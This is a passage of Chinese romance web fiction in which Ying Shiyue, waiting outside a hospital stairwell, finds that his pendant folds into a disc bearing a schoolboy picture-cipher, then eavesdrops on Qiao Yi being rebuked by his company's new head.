不是病人,但看这样子,也不是很像探病的。应时月心想着,不由得多看了一眼,总觉得这张脸有种莫名的眼熟感,似乎在哪见过。 但没想到,他看过去的时候,男人的视线刚好也落到他身上。 应时月还没来得及思考,就听见身边的乔亦来了句:“你怎么在这里?” “来看看是什么程度的废物能骑个电动车莫名其妙把自己摔了的。”那人如是说。 应时月一惊。 他扭头看了眼乔亦,又抬起头看了看陌生中透着熟悉的男人,视线巡游几个来回,总算是想起了在哪里见过这张脸。 当时他在网上搜乔亦他们家公司的人事变动公告。去年年底的公告里,第一行的名字从乔亦的哥哥变成了一个陌生的名字。 而那个名字链接里附上的照片,就是眼前这个人。 乔亦口中的,在他哥哥去世之后,接管他们家公司的那位,“哥哥的副手”。 听这人说话的语气,感觉他和乔亦大概不算立场冲突。 应时月出言反驳:“你什么意思啊?这是对受伤的人说话的态度吗?” “应时月,”这人没有正面回答他的质问,而是将他的名字缓慢而匀速地念了一遍,又说,“久仰大名,总算见到本人了。所以能借你旁边那位一用吗?说几句话,十分钟。” 应时月眨眨眼,思考着应该如何作答。而乔亦已然先他一步,看着他开口道:“……那你等等我?” * 既然当事人达成共识,看上去还丝毫不勉强,应时月也就没有横插一脚进去提反对意见。 应时月猜测他们要说的也不是什么机密,因为将说话的位置选在了楼梯间。 医院里没什么人走楼梯,但这也并非是一个适合讨论重要话题的地方,首先是不隔音,其次是有监控。 应时月于是就蹲在楼梯口等。 等待的这几分钟多少有点无聊。 他能听见乔亦和那人的说话声,但具体说的什么听不真切,也不打算费劲去辨识。 于是他先是看了看手机,回了下明宸不知道啥时候发来的消息,又顺手捏了捏身前的吊坠——近日来,这已经成了他无事可做时的习惯性动作。 但这次,应时月意识到了一点……手感上的差异。 好像不那么圆,也不那么顺滑了。 他被吓了一跳,低下头看手上的吊坠,才发现不知何时……它居然被压扁了一点。 应时月瞬间感受到了巨大的慌乱。 是出事那会没注意撞到了吗?不是乔亦在台上说很稳固随便动不会变形不会碎的吗? 他用指尖捏着天文球吊坠,将它举到眼前观察。 而大概是无意识用了点力,星轨的角度又在他手上偏移了几分。 啊?应时月这回总算意识到了不对。 于是他深吸一口气,再加了点力度——一道道星轨间的倾角在按压之下逐渐缩小,最终,随着一声很轻的、像是什么机关闭合的声音,天文球形状的吊坠在他手上,彻底变成了一张……圆形的薄片。 早该想到的。应时月后知后觉地想到。 在乔亦那天说“难做”的那一刻,就应该想到,这个吊坠不止一个静态的装饰品这么简单——这根本不够格被乔亦评价为“难做”。 至于这么做有什么用意…… 他看着薄片表面。那些原来的轨迹和装饰都刚刚好被嵌入其中,彼此咬合,看上去很严丝合缝,很有审美……也莫名其妙地,很有规律。 很有规律? 应时月被自己脑子里突然钻出来的四个字吓了一跳。 项链他自己一个人取不下来,链子又没有那么长,一直低头看也很累。 于是他拿出手机关上系统音量,对着薄片的两面各自拍了一张照,再在相册里认真观察——意料之中的是,其上的图案,确实更像是一个谜题。 一个他会做的,图像谜题。 应时月滞后般想,原来那个吊坠星轨之上的一些看不明白的痕迹,也不全是为了好看啊。 上面的图像并不复杂,是他们高中那会爱用的一套加密方式。 当时的应时月和乔亦时不时在课上传纸条 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这一瞬间,非常可耻的是,应时月不得不承认,自己的好奇心战胜了道德感。于是他站起身,轻轻靠在门边。 晚上再给乔亦道歉吧。他这么想着,开始试图偷听接下来的谈话。 “你好能联想,”那位男人说,“我只是找了车主,给了他点好处查了行车记录仪而已。” 乔亦一时间没有说话。 应时月也不知道他只是没说话,还是什么动静也没有。 但他猜测是前者。 因为接下来,那人又开始继续说话,音量也越来越大,到了应时月不偷听也避无可避的程度:“……你是不是觉得你这样做就是在补偿他,就是在还债——实际上你就是在惹麻烦,在耽误大家的安排,在让所有人为你愧疚,在自顾自地自我感动和自我说服。” “小亦,你觉得应时月在听吗,”那个人最后补了一句,“你觉得应时月会感动于你的自我感动吗?” 话音落下的下一刻,靠在门边大脑一片空白的应时月,听到了门把手转动的声响。